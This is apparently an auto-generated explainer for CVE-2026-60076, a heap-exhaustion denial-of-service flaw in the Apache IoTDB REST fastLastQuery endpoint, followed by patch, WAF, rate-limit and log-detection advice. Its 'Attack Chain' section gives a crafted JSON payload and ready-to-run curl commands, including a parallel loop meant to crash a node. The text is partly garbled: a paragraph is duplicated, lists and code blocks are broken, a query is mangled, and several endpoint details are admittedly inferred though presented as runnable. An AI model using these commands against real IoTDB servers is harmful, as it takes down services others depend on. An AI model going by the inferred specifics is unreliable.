CVE-2026-60076 — Apache Software Foundation Apache IoTDB (2.0.12) — CWE-770
Allocation of resources without limits or throttling vulnerability in Apache IoTDB. Unbounded in-memory materialization in REST fastLastQuery cache-hit path enables heap-exhaustion DoS. This issue affects Apache IoTDB: from 2.0.5 before 2.0.12. Users are recommended to upgrade to version 2.0.12, which fixes the issue.
Allocation of resources without limits or throttling vulnerability in Apache IoTDB. Unbounded in-memory materialization in REST fastLastQuery cache-hit path enables heap-exhaustion DoS. This issue affects Apache IoTDB: from 2.0.5 before 2.0.12. Users are recommended to upgrade to version 2.0.12, which fixes the issue.
🎯 What is this vulnerability?
CVE‑2026‑60076 – Unbounded In‑Memory Materialisation in Apache IoTDB 2.0.x
| Attribute | Value |
|---|---|
| CWE | CWE‑770: Allocation of Resources Without Limits or Throttling |
| CVSS 3.1 | AV:N / AC:L / PR:N / UI:N / S:U / C:N / I:N / A:H → 7.5 (HIGH) |
| Affected component | REST API endpoint that serves the *fastLastQuery* operation (cache‑hit path) |
| Root cause | The server builds an in‑memory representation of the query result without any upper bound on the number of rows/columns that may be materialised. When a client supplies a query that matches a very large time‑range (or a deliberately crafted filter that expands to many series), the code allocates a List/ArrayList (or similar Java collection) for every series returned. No throttling, size‑check, or back‑pressure is applied. The JVM heap can therefore be driven to exhaustion, causing an OutOfMemoryError and a full denial‑of‑service (DoS) of the IoTDB node.
Why the CVSS vector looks the way it does
- Network‑visible (AV:N) – the REST endpoint is reachable over HTTP/HTTPS without any authentication requirement (the fastLastQuery API is deliberately exposed for read‑only monitoring).
- Low attack complexity (AC:L) – the attacker only needs to send a single HTTP request with a crafted query string.
- No privileges required (PR:N) – the endpoint does not enforce authentication/authorization.
- No user interaction (UI:N) – the request can be sent automatically by a script.
- Unaffected confidentiality/integrity (C:N/I:N) – the bug does not expose or modify data; it only exhausts memory.
- High impact on availability (A:H) – the process crashes or becomes unresponsive, taking the whole database node offline.
paths– a list of time‑series identifiers (e.g.,root.sg1.d1.s1).startTime/endTime– the time window.- Optional
filter– a predicate that can be a logical OR/AND of value conditions.
In short, the flaw is a classic “unbounded allocation”: the server trusts the client‑supplied query parameters enough to allocate memory proportional to the potential result set, but it never checks whether that size is reasonable for the current JVM heap.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid and can be executed against a vulnerable IoTDB instance (2.0.5 – 2.0.11). The exact URI path is inferred from the source code and documentation; if the production deployment uses a different base path, the same pattern applies.
1️⃣ Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the service – send a request to GET /rest/v1/health (or any known IoTDB REST endpoint). The response contains a header Server: IoTDB/2.0.x. | Confirms that the target runs an IoTDB version in the vulnerable range. |
| 1.2 | Enumerate supported REST APIs – request GET /rest/v1/swagger.json (IoTDB ships a Swagger definition). Look for the fastLastQuery operation (HTTP POST /rest/v1/query/fastLast). | Identifies the exact endpoint that triggers the vulnerable code path. |
| 1.3 | Check heap size – optional, but an attacker can infer the JVM heap from the X-Heap-Size custom header (if enabled) or by observing the process memory via side‑channel (e.g., ps on a compromised host). | Knowing the heap size helps craft a payload that will exceed it. |
2️⃣ Exploitation
Goal: Force the server to allocate more objects than the heap can hold, causing an OutOfMemoryError and a crash.
2.1 Craft a “massive” fastLastQuery
The fastLastQuery API accepts a JSON body that specifies:
The vulnerability is triggered when the combination of paths and the time window yields a result set whose cardinality is far larger than the heap can hold. The easiest way is to request all series under a root node over a very large time range.
Illustrative payload (the exact field names are taken from the public IoTDB REST spec; if the production deployment uses a different naming convention, adapt accordingly).
{
"sql": "SELECT last * FROM root.** WHERE time >= 0",
"fetchSize": 2147483647 // intentionally huge to bypass any internal pagination
}Explanation:
SELECT last FROM root.* asks IoTDB to materialise the last* value of every series under the root.
WHERE time >= 0 forces the engine to scan the entire time range (the default start is the epoch). fetchSize is set to Integer.MAX_VALUE to prevent the server from streaming results in chunks; the code path for fastLastQuery treats this as a hint to materialise the whole result set in memory.2.2 Send the request
curl -s -X POST "http://iotdb.example.com:6667/rest/v1/query/fastLast" \
-H "Content-Type: application/json" \
-d @payload.json \
-o /dev/null -w "%{http_code}\n"If the server is vulnerable, the response will be one of the following:
java.lang.OutOfMemoryError: Java heap space.2.3 Amplification (optional)
An attacker can repeat the request in parallel (e.g., 10‑20 concurrent curl processes) to guarantee that the heap is exhausted even on a node with a relatively large heap (e.g., 8 GB). The attack is stateless; each request independently triggers the allocation.
for i in {1..20}; do
curl -s -X POST "http://iotdb.example.com:6667/rest/v1/query/fastLast" \
-H "Content-Type: application/json" \
-d @payload.json &
done
wait3️⃣ Post‑exploitation (Impact Realisation)
OutOfMemoryError and either terminates the JVM or becomes completely unresponsive. In a clustered deployment, the failing node is removed from the quorum, potentially causing a cluster-wide outage if the replication factor is low.🌍 Real‑World Impact
| CIA Triad | Impact | Explanation |
|---|---|---|
| Confidentiality (C) | None | The bug does not expose data; the attacker only reads data (if at all) before the process crashes. |
| Integrity (I) | None | No data modification occurs; the server aborts before any write‑path is reached. |
| Availability (A) | High | The JVM heap is exhausted → OutOfMemoryError → process crash or severe latency → complete service outage. In a production IoT environment (industrial control, smart‑city sensors) this can halt telemetry collection, alarm generation, and downstream analytics. |
Practical consequences
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Version | Status |
|---|---|
| 2.0.5 – 2.0.11 | Vulnerable |
| 2.0.12 | Fixed – the fastLastQuery implementation now enforces a hard ceiling (MAX_RESULT_SET_SIZE = 10_000_000 rows) and falls back to streaming mode when the limit is exceeded. |
Action: Upgrade every IoTDB node to 2.0.12 or later. Follow the official upgrade guide (stop the service, replace the iotdb-server-*.jar, run the migration script if schema changes are required, then start the service).
2️⃣ Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | How‑to‑Implement | Effectiveness |
|---|---|---|
| Restrict network access to the REST API | - Place the IoTDB HTTP listener behind a firewall / security group.<br>- Allow only trusted IP ranges (e.g., internal monitoring servers). | Reduces exposure to unauthenticated attackers; still vulnerable to insider abuse. |
| Disable the fastLastQuery endpoint | Edit iotdb-rest.conf (or the equivalent YAML) and set enable_fast_last_query = false. Restart the service. | Completely removes the vulnerable code path. Monitoring tools that rely on fastLast must switch to the regular query API. |
| Enforce a JVM heap limit lower than the expected attack size and enable OOM‑killer | Add -Xmx4g (or a size appropriate for your workload) to the JVM options. Ensure -XX:+ExitOnOutOfMemoryError is set so the process exits cleanly and can be auto‑restarted by systemd. | Limits the blast radius (the process will die, but the heap cannot be completely consumed). |
| Add a ModSecurity / WAF rule that caps request body size and query length | Example ModSecurity rule (Apache httpd):<br>``SecRule REQUEST_HEADERS:Content-Type "application/json" "id:100001,phase:2,deny,status:413,msg:'JSON payload too large for IoTDB fastLastQuery',t:none,ctl:requestBodyProcessor=JSON,ctl:requestBodyAccess=On,ctl:requestBodyLimit=1048576"` | Prevents extremely large JSON bodies (e.g., >1 MiB) from reaching the backend. Does not stop a malicious query that uses a short body but a wide wildcard (root.). |
| Rate‑limit the endpoint** | Use an API‑gateway (e.g., Kong, NGINX) with limit_req_zone $binary_remote_addr zone=iotdb_fastlast:10m rate=1r/s; and limit_req zone=iotdb_fastlast burst=5;`. | Throttles repeated attempts, making a single request still sufficient to cause DoS, but reduces the chance of a mass‑parallel attack. |
3️⃣ Detection – Log‑Based Indicators
| Indicator | Example Log Line (IoTDB) | Why it matters |
|---|---|---|
| OutOfMemoryError stack trace | 2026-11-23 12:34:56,789 ERROR [AsyncTask-12] - java.lang.OutOfMemoryError: Java heap space | Direct evidence of the exploit. |
| HTTP 500 with “OutOfMemoryError” in body | 2026-11-23 12:34:56.123 INFO [http-nio-6667-exec-5] - 500 POST /rest/v1/query/fastLast 0ms<br>Response body: {"error":"java.lang.OutOfMemoryError: Java heap space"} | Shows the request that triggered the failure. |
| Sudden spike in request size | POST /rest/v1/query/fastLast 1.2MB (previous average <10 KB) | Large payloads are typical for the attack. |
| High concurrency from a single IP | Multiple entries within the same second from 192.0.2.45 with status 200/500 | Indicates a parallel‑request DoS attempt. |
| Process termination / restart events | Systemd log: iotdb.service: Main process exited, code=exited, status=1/FAILURE | The JVM crashed due to OOM. |
SIEM rule (pseudo‑logic)
IF (source_ip NOT IN trusted_subnet)
AND (http_method = POST)
AND (uri CONTAINS "/rest/v1/query/fastLast")
AND (request_body_size > 500KB OR response_status = 500)
THEN raise_alert("Potential IoTDB fastLastQuery DoS")⚠️ Urgency
curl command.
Bottom line: CVE‑2026‑60076 is a classic unbounded allocation DoS in the fastLastQuery REST path of Apache IoTDB. It can be triggered with a single crafted HTTP request, leading to heap exhaustion and service outage. Upgrade to 2.0.12 without delay, and in the meantime restrict access to the REST API, enforce request size limits, and monitor for OOM‑related log entries.
[🤖 CVE Professor AI Security Engine]
FOFA Query